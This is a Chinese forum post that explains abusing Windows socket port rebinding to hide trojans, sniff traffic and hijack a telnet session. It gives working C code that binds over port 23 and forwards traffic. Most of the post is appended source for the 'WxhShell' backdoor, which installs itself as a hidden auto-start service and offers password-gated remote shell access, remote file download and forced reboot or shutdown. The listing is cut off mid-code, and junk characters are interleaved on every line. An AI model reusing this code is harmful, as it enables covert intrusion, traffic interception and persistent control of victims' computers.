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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6x\+j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pm<zw-  
1gp3A  
  saddr.sin_family = AF_INET; C3fSSa%b  
${n=1-SMU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x Z2 }1D  
[3`T/Wm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {Y{*(5YV  
Ya] qo]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b&uo^G,  
<Sn5ME<*  
  这意味着什么?意味着可以进行如下的攻击: azMrY<  
}G$rr.G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XZhX%OT!  
^ri?eKy.-g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZVotIQ/Q'  
B 95}_q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Tfc5R;Rw  
{.9phW4Vr?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jRXpEiM  
y4`<$gL   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >So)KB  
Ww*='lz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j3QpY9A  
/#J)EH4p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |RQ19m@  
<a *X&P  
  #include =Haqr*PDx  
  #include 3=xb%Upw  
  #include }'{39vc .  
  #include    }zVPdBRfm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ADRjCk}I  
  int main() nGA'\+zj L  
  { c@:L7#8  
  WORD wVersionRequested; <:yB4t3H+q  
  DWORD ret; {H eIY2  
  WSADATA wsaData; 5,!,mor$]  
  BOOL val; m3]|I(]`Xe  
  SOCKADDR_IN saddr; )5P*O5kQ -  
  SOCKADDR_IN scaddr; ^=Rqa \;  
  int err; .)^@[yrkz  
  SOCKET s; 5J1A|qII  
  SOCKET sc; x#"|Z&Dw0  
  int caddsize; :u#Ls,OZz  
  HANDLE mt; WAiEINQ^)  
  DWORD tid;   {Q8DPkW  
  wVersionRequested = MAKEWORD( 2, 2 ); .E|Hk,c9  
  err = WSAStartup( wVersionRequested, &wsaData ); l)E \mo 8  
  if ( err != 0 ) { bL 5z%bV  
  printf("error!WSAStartup failed!\n"); Sv.z9@S  
  return -1; D3yG@lIP3  
  } ~1YL  
  saddr.sin_family = AF_INET; *zX*k 7LnV  
   D"fE )@Q@Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WlP#L`  
%7BVJJp2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QZk:G+ $  
  saddr.sin_port = htons(23); vTYI ez`g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MjC;)z  
  { Ky`rf}cI>  
  printf("error!socket failed!\n"); +=%13cA*U  
  return -1; -CW&!oW  
  } ^z3-$98=A  
  val = TRUE; V#!ihL/>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xd8UdQ, lt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W;*rSK|(Sc  
  { ws5x53K  
  printf("error!setsockopt failed!\n"); &NV[)6!  
  return -1; (5?5? <  
  } }.|\<8_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0B)l"$W[)/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #"d.D7nA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d -6[\S#  
_GK^7}u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q17"hO>kC  
  { \/4ipU.  
  ret=GetLastError(); &|P@$O>  
  printf("error!bind failed!\n"); N]: "3?%  
  return -1; ]@1YgV  
  } XhFa9RC  
  listen(s,2); 8%JxXtWW`  
  while(1) (5{|']G  
  { IjN3 jU  
  caddsize = sizeof(scaddr); mnL \c'  
  //接受连接请求 1Nx.aji  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qEKTSet?  
  if(sc!=INVALID_SOCKET) HyXw^ +tsj  
  { "!XeK|Wi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0Mt2Rg}  
  if(mt==NULL) B{!)GZ(}  
  { ~6@zXHAS  
  printf("Thread Creat Failed!\n"); jD3,z*  
  break; 'nI2RX  
  } 0CI?[R\  
  } I})la!9   
  CloseHandle(mt); VB*N;bM^  
  } z h0m3|9O  
  closesocket(s); ?GU/Rf!H#  
  WSACleanup(); wXDF7tJh  
  return 0; t$r^'ZN  
  }   +V1EqC*  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8YraW|H  
  { n1o/-UY  
  SOCKET ss = (SOCKET)lpParam; ([UuO}m-  
  SOCKET sc; W5(t+$L.  
  unsigned char buf[4096]; P]T(I/\g  
  SOCKADDR_IN saddr; X`]-) (U X  
  long num; G ;V@oT  
  DWORD val; BDxrSq,H  
  DWORD ret; 2F^ %d9`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C<fWDLwYqV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;_K+b,  
  saddr.sin_family = AF_INET; %f\{ ]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GmtMA|  
  saddr.sin_port = htons(23); k);z}`7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8,YF>O&  
  { wq_c^Ioy  
  printf("error!socket failed!\n"); &T]+g8''  
  return -1; b>E%&sf  
  } C=@BkneQ  
  val = 100; zy4AFW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) shxr^   
  { IGT~@);  
  ret = GetLastError(); (}O)pqZ>  
  return -1; a*CP1@O  
  } >h<eEv/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1O45M/5\o  
  { I!jSAc{  
  ret = GetLastError(); - t4"BD  
  return -1; :q~qRRmjBe  
  } "$+naY{w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \^;Gv%E  
  { w>; :mf  
  printf("error!socket connect failed!\n"); +@]1!|@(  
  closesocket(sc); 'LFHZ&-  
  closesocket(ss); %9[GP7?  
  return -1; s8}:8  
  } M ^ ZoBsZ  
  while(1) Y_>z"T  
  { 2iI"|k9M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 og MLv}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *]z.BZI:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {d}-SoxH  
  num = recv(ss,buf,4096,0); I"Ji_4QV  
  if(num>0) @S?.`o  
  send(sc,buf,num,0); ' F`*(\#  
  else if(num==0) 84 b;G4K  
  break; s6Bt)8A  
  num = recv(sc,buf,4096,0); NUH;GMj,,  
  if(num>0) |_F-Abk  
  send(ss,buf,num,0); ,TOLr%+v~n  
  else if(num==0) seHwn'Jn  
  break; 9Q]v#&1  
  } GWjKZ1p  
  closesocket(ss); Jkpw8E7  
  closesocket(sc); @<CJbFgJp  
  return 0 ; u A C:&  
  } h\'GL(?DBI  
Yp 6;Y7^  
POH >!lHu  
========================================================== qS&PMQ"$  
rZu_"bcJ  
下边附上一个代码,,WXhSHELL W euV+}\b  
`m3@mJ!>\  
========================================================== -_uL;9r  
\*LMc69  
#include "stdafx.h" n8[sR;r5f  
{9;~xxTo  
#include <stdio.h> {,IWjt &>  
#include <string.h> <ofXNv;`  
#include <windows.h> X$ /3  
#include <winsock2.h> dr~MyQ  
#include <winsvc.h> GOJi/R.{  
#include <urlmon.h> +n,8o:fU:  
 ~Zl`Ap  
#pragma comment (lib, "Ws2_32.lib") ;zs*Zd7h M  
#pragma comment (lib, "urlmon.lib") )@eBe^  
|r}%AN6+  
#define MAX_USER   100 // 最大客户端连接数 n ^n' lgUT  
#define BUF_SOCK   200 // sock buffer ZhxMA*fL  
#define KEY_BUFF   255 // 输入 buffer 6i.'S5.  
YtW#MG$f  
#define REBOOT     0   // 重启 t vk^L3=<  
#define SHUTDOWN   1   // 关机 JsnavI6  
bIp;$ZHy`K  
#define DEF_PORT   5000 // 监听端口 `6~*kCj5  
t)cG_+rJ  
#define REG_LEN     16   // 注册表键长度 G]P4[#5  
#define SVC_LEN     80   // NT服务名长度 c::x.B"w  
Lom%eoH)  
// 从dll定义API @KOa5-u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 82$By]Y9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yl 0?Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O b8[P=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &=HM}h  
>=U $s@  
// wxhshell配置信息 U&u7d$ANP  
struct WSCFG { )[p8  
  int ws_port;         // 监听端口 V2g$"W?3  
  char ws_passstr[REG_LEN]; // 口令 ljiq+tT  
  int ws_autoins;       // 安装标记, 1=yes 0=no dC(6s=4  
  char ws_regname[REG_LEN]; // 注册表键名 !ox&`  
  char ws_svcname[REG_LEN]; // 服务名 bx6@FKns}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T{uktIO/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @;rVB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ykM#EyN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N"r ;d+LTL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _'I9rGlx3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '')G6-c/  
H ~ks"D1  
}; M<ad>M  
l$zNsf.  
// default Wxhshell configuration YvYavd  
struct WSCFG wscfg={DEF_PORT, >F+:ej  
    "xuhuanlingzhe", o8s&n3mY}y  
    1, 6:B5PJq  
    "Wxhshell", HhqqJEp0  
    "Wxhshell", #m$H'O[WG\  
            "WxhShell Service", xje{ kx#  
    "Wrsky Windows CmdShell Service", yLDHJ}R  
    "Please Input Your Password: ", !?l 23(d  
  1, ;euWpE;E\#  
  "http://www.wrsky.com/wxhshell.exe", a@8knJ|  
  "Wxhshell.exe" ..~{cU4Tt  
    }; PA,j;{,(b  
qWanr7n]@  
// 消息定义模块 *kKGsy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9txZ6/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ys<wWfW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QlXy9-oJ"  
char *msg_ws_ext="\n\rExit."; Rp@u.C <  
char *msg_ws_end="\n\rQuit."; I[4E?  
char *msg_ws_boot="\n\rReboot..."; y:,{U*49  
char *msg_ws_poff="\n\rShutdown..."; :lE7v~!Z  
char *msg_ws_down="\n\rSave to "; _p_F v>>:  
}K*ri  
char *msg_ws_err="\n\rErr!"; PH7L#H^  
char *msg_ws_ok="\n\rOK!"; M}nalr+#  
Fe=4^.  
char ExeFile[MAX_PATH]; 3YLnh@-  
int nUser = 0; Fj]S8wI  
HANDLE handles[MAX_USER]; 78.sf{I  
int OsIsNt; <5X@r#Lz  
;8T<L[ ^U  
SERVICE_STATUS       serviceStatus; .1pEq~>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yr=r? h}  
VKs\b-1  
// 函数声明 J BwTmOvQ  
int Install(void); =?f}h{8x>  
int Uninstall(void); ,h>w%  
int DownloadFile(char *sURL, SOCKET wsh); kEXcEF_9P  
int Boot(int flag); p0tv@8C>  
void HideProc(void); v4v+;[a%  
int GetOsVer(void); )`Fr*H3{  
int Wxhshell(SOCKET wsl); mi-\PD>X  
void TalkWithClient(void *cs); JNu- z:J  
int CmdShell(SOCKET sock); S1B/ClKWq  
int StartFromService(void); m_Rgv.gE^  
int StartWxhshell(LPSTR lpCmdLine); R80R{Ze  
y&CUT:M6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E$1^}RGT)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9:Y:Vx  
jqLyX  
// 数据结构和表定义 RhJ<<T.2  
SERVICE_TABLE_ENTRY DispatchTable[] = D3K`b4YV  
{ 6 %=BYDF  
{wscfg.ws_svcname, NTServiceMain}, JxvwquI  
{NULL, NULL} tS9m8(Hr%Q  
}; 1y@-  
H,I}R  
// 自我安装 :D,YR(])  
int Install(void) ew"Fr1UGYZ  
{ 7&QVw(:)M  
  char svExeFile[MAX_PATH]; uqyf3bK  
  HKEY key; ;?[~]"  
  strcpy(svExeFile,ExeFile); [a`i{(!  
5{5ABV  
// 如果是win9x系统,修改注册表设为自启动 x'KsQlI/  
if(!OsIsNt) { OP&[5X+Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D!P?sq_5r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XMdc n,  
  RegCloseKey(key); wiGwN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +sI.GWQ_:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q1gf9` 0  
  RegCloseKey(key); ~3%3{a a  
  return 0; N\fT6#5B  
    } l<HRD  
  } `u}x:f !  
} Y]lqtre*Y  
else { nx4aGS"F:  
BNy"YK$  
// 如果是NT以上系统,安装为系统服务 ZX0c_Mk=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wY95|QS  
if (schSCManager!=0) [v`4OQF/  
{ zb" hy"hKw  
  SC_HANDLE schService = CreateService /'1y`j<  
  ( J v#^GNm  
  schSCManager, :qbG%_PJ  
  wscfg.ws_svcname, H6I #Xj  
  wscfg.ws_svcdisp, "uCQm '  
  SERVICE_ALL_ACCESS, |rvrSab)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c|R/,/  
  SERVICE_AUTO_START, jQb D2x6(  
  SERVICE_ERROR_NORMAL, 9PJDT]  
  svExeFile, Z C93C7lJ  
  NULL, cOb%SC[A{  
  NULL, d0B+syl&4l  
  NULL, V\"5<>+O  
  NULL, Wa(S20y F  
  NULL <C77_t  
  ); Q7r,5w& cm  
  if (schService!=0) 7j:{rCp3J  
  { gp HwiFc  
  CloseServiceHandle(schService); 9qDGxW '1  
  CloseServiceHandle(schSCManager); Dkb&/k:)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bw\=F_>L  
  strcat(svExeFile,wscfg.ws_svcname); (Pd>*G\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zl\#n:|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d]3sC  
  RegCloseKey(key); sJoi fl 7  
  return 0; !d\GD8|4  
    } #+ '@/5{n  
  } m3!M L>nLt  
  CloseServiceHandle(schSCManager); GU3/s&9  
} bY~v0kg  
} F 29AjW86  
1%"` =$q%  
return 1; _zh5KP[{  
} ku?_/-ko]  
]e.+u  
// 自我卸载 md"%S-a_dT  
int Uninstall(void) QZr<=}   
{ 9C;Y5E~'L  
  HKEY key; uw=Ube(  
?vFh)U  
if(!OsIsNt) { k_>{"Rc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f'OvG@  
  RegDeleteValue(key,wscfg.ws_regname); n*~   
  RegCloseKey(key); ef&@aB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >e;STU  
  RegDeleteValue(key,wscfg.ws_regname); Jt6J'MOq  
  RegCloseKey(key); bFezTl{M  
  return 0; 5V~p@vCx  
  } A=UIN!  
} Fz&ilB  
} 0@lC5-=  
else { &|}IBu:T  
i[{] LiP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yrAzD=  
if (schSCManager!=0) q-%KfZ@(|  
{ Ki/5xK=s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Xp6*Y1Y  
  if (schService!=0) c)MR+'d\WO  
  { k!=GNRRZE  
  if(DeleteService(schService)!=0) { r)(BT:2m  
  CloseServiceHandle(schService); X'7S|J6s  
  CloseServiceHandle(schSCManager); jHH  
  return 0; O/9%"m:i  
  } WG !t!1p  
  CloseServiceHandle(schService); rs Uw(K^  
  } @z)tC@  
  CloseServiceHandle(schSCManager); ""3m!qn#  
} ^YJA\d@  
} 5jV97x)BGx  
:IVMTdYf  
return 1; o?K|[gNi  
} 6bKO;^0  
DhNo +"!z  
// 从指定url下载文件 Sn2Ds)Pfx3  
int DownloadFile(char *sURL, SOCKET wsh) qMES<UL>  
{ >B/&V|E  
  HRESULT hr; jne9=Als5  
char seps[]= "/"; t!~YO'<dS  
char *token; ^>8]3@ Nh  
char *file; &17,]#3  
char myURL[MAX_PATH]; t"/"Ge#a  
char myFILE[MAX_PATH]; WG/J4H`Od  
5A$az03y$\  
strcpy(myURL,sURL); $;uWj|  
  token=strtok(myURL,seps); ;[%}Xx  
  while(token!=NULL) }u_EXP8M  
  { _$\5ZVe  
    file=token; cJ##K/es  
  token=strtok(NULL,seps); k> &s( b  
  } P!+nZXo  
A?D"j7JD=L  
GetCurrentDirectory(MAX_PATH,myFILE); 0tCOb9  
strcat(myFILE, "\\"); .(7C)P{ .0  
strcat(myFILE, file); x56 F  
  send(wsh,myFILE,strlen(myFILE),0); e9@fQ  
send(wsh,"...",3,0); j%Z{.>mJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !N8)C@=  
  if(hr==S_OK) zLw h6^?Y  
return 0; 207O["Y  
else j(6$7+2qN  
return 1; _SIs19"lR  
+GYMJK`S+  
} G:c8`*5Q  
8#]7`o  
// 系统电源模块 )xvx6?Ah|  
int Boot(int flag) R^yZG{?t  
{ _d[2_b1  
  HANDLE hToken; LlA`QLe  
  TOKEN_PRIVILEGES tkp; rw8J:?0x  
nN=:#4 >Y  
  if(OsIsNt) {  pO/SV6N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vbA7I<;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A2|o=mOH  
    tkp.PrivilegeCount = 1; 52MCUl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r($_>TS&"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); foz5D9sQ  
if(flag==REBOOT) { kyxSIQ^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  9VUm=Z#`  
  return 0; n `m_S  
} L_U3*#Zdz7  
else { c7g.|R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X4 }`>  
  return 0; 1R2o6`_  
} /%uZKG P  
  } c. TB8Ol  
  else { /;<e.  
if(flag==REBOOT) { _7=pw5[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pcuMGo-#  
  return 0; yF/< :  
} -.b Io  
else { HTUYvU*-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W7*_T]  
  return 0; ^3WIl ]  
} %on9C`/  
} 9xK4!~5V  
qX p,d  
return 1; 1akD]Z  
} YMj7  
)&Kn (l)  
// win9x进程隐藏模块 +e0dV_T_>  
void HideProc(void) | or 8d>,  
{ T$n>7X-r  
?)?IZ Qj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V#zhG AMy.  
  if ( hKernel != NULL ) kJurUDo  
  { { OxAY_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JA?,0S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'HQ7 |Je  
    FreeLibrary(hKernel); }RA3$%3  
  } foFg((tS  
"rjv5*z^&  
return; "#-Nqq  
} mmrW`~-  
{+ C%D'  
// 获取操作系统版本 Sv7>IVC?@  
int GetOsVer(void) 1H&?UP4=(  
{ `z-H]fU  
  OSVERSIONINFO winfo; <+? Y   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Jt-X mGULB  
  GetVersionEx(&winfo); [GR]!\!%~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]cF1c90%  
  return 1; <\1}@?NGC  
  else r^w\9a_  
  return 0; z-KrQx2  
} O)R7t3t  
y wW-p.  
// 客户端句柄模块 >/TB_ykb  
int Wxhshell(SOCKET wsl) %aj7-K6:t  
{ =2RhPD  
  SOCKET wsh; <qbZG}u  
  struct sockaddr_in client; M^j<J0(O  
  DWORD myID; F!OOrW]p0  
a%7"_{s1  
  while(nUser<MAX_USER) 1<LC8?wt  
{ %_B:EMPd  
  int nSize=sizeof(client); ' "ZRD_"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )l+XDI  
  if(wsh==INVALID_SOCKET) return 1; #&^ZQs<  
H$~M`Y9I~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |8&-66pX  
if(handles[nUser]==0) !X5o7b)  
  closesocket(wsh); \LIy:$`8  
else ~In{lQ[QX  
  nUser++; ; g Z%U  
  } fKL'/?LD]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )"(V*Z  
g2g`,"T  
  return 0; X'V+^u@W  
} hl AR[]  
TK; \_yN  
// 关闭 socket RGT_}ni  
void CloseIt(SOCKET wsh) 8w)e/*:j  
{ ? .c?Pu  
closesocket(wsh); 8ivRp<9  
nUser--; :D"@6PC]  
ExitThread(0); ;Y Dv.I  
} _:wZmZU}  
p>k]C:h  
// 客户端请求句柄 zc6H o  
void TalkWithClient(void *cs) LQh^; ]^(  
{ wqJ*%  
reJ"r<2  
  SOCKET wsh=(SOCKET)cs; g~~m' ^  
  char pwd[SVC_LEN]; N=>- Q)  
  char cmd[KEY_BUFF]; Q,zC_  
char chr[1]; +?qf`p.{  
int i,j; y._'K+nl  
sW;7m[o  
  while (nUser < MAX_USER) { rs[?v*R74  
@4;HC=~  
if(wscfg.ws_passstr) { _FL<egK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $Llta,ULE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .D+RLO z  
  //ZeroMemory(pwd,KEY_BUFF); F|ETug n  
      i=0; Jzk!K@  
  while(i<SVC_LEN) { Y{,2X~ 7  
?V#Gx>\  
  // 设置超时 &(g m4bTg  
  fd_set FdRead; vGXWwQ.1Tp  
  struct timeval TimeOut; g93I+  
  FD_ZERO(&FdRead); O[; +i  
  FD_SET(wsh,&FdRead); pPoH5CzcK  
  TimeOut.tv_sec=8; ?K0U3V$s  
  TimeOut.tv_usec=0; pp(H PKs=}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Oz :D.V 3~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <\h*Zy  
h]qT1( I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F vj{@B!  
  pwd=chr[0]; + Qt[1Xq  
  if(chr[0]==0xd || chr[0]==0xa) { ]x1p!TSU  
  pwd=0; ^rL ,&rk  
  break; v#zPH5xo  
  } d{W}p~UbH  
  i++; TW>?h=.z  
    } .\$Wy$ d  
d&hD[v  
  // 如果是非法用户,关闭 socket ; vMn/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); . =&Jo9  
} 6A}eSG3  
!&W|myN^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~ 9=27 p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3Q",9(D  
h9)RJSF4  
while(1) { F@9Y\. ,  
pqJ)G;%9  
  ZeroMemory(cmd,KEY_BUFF); 5)mVy?Z  
\ [cH/{nt  
      // 自动支持客户端 telnet标准   CQ<8P86gt  
  j=0; UIn^_}jF`  
  while(j<KEY_BUFF) { ?gLAWz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =qw &dwIQ  
  cmd[j]=chr[0]; S9J5(lYv~N  
  if(chr[0]==0xa || chr[0]==0xd) { =:4?>2)  
  cmd[j]=0; N*f^Z#B]  
  break; Rxx>{+f4M  
  } _D-5}a"  
  j++; 3g;T?E  
    } YX_vv!-]  
A]j}'  
  // 下载文件 zHV|-R  
  if(strstr(cmd,"http://")) { L%f;J/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 57U%`  
  if(DownloadFile(cmd,wsh)) B3Mx,uXT\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f4 Q( 1(C  
  else r ^MiRa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mk\i}U>`  
  } _e_4Q)z-a  
  else { x:qr\Rz  
lcCJ?!lsSW  
    switch(cmd[0]) { 6%%PP8.F  
  d Qai4e>[  
  // 帮助  [@<G+j  
  case '?': { u%xDsT DP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  qtzFg#  
    break; qL3@PSN?|  
  } v`SY6;<2  
  // 安装 C%]."R cMC  
  case 'i': { E`tQe5K  
    if(Install()) FZpsL-yx^N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 Va40X1  
    else EMh r6</  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TMww  
    break; { UOhVJy  
    } l~['[Ub0)  
  // 卸载 YN^T$,*  
  case 'r': { {S *!B  
    if(Uninstall()) R4SxFp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _jmkl B  
    else "7d.i(vw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /1[gn8V691  
    break; 0V3gKd7  
    } EI\v  
  // 显示 wxhshell 所在路径  g#qNHR  
  case 'p': { =-qf;5[|  
    char svExeFile[MAX_PATH]; q`[K3p   
    strcpy(svExeFile,"\n\r"); {y b D  
      strcat(svExeFile,ExeFile); q3)wr%!k5D  
        send(wsh,svExeFile,strlen(svExeFile),0); ]H+{eJB7O  
    break; jN6b*-2  
    } Xem5@ (u  
  // 重启 H} 6CKP}  
  case 'b': { {`F1u?l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  ,gmH2.  
    if(Boot(REBOOT)) )\0q_a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ec?V[v  
    else { 88g47>{X  
    closesocket(wsh); (Xo SG  
    ExitThread(0); +0"x|$f~  
    } KmL$M  
    break; thptm  
    } } L <,eV  
  // 关机 cOb4c*  
  case 'd': { \?&A u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :+:6_x  
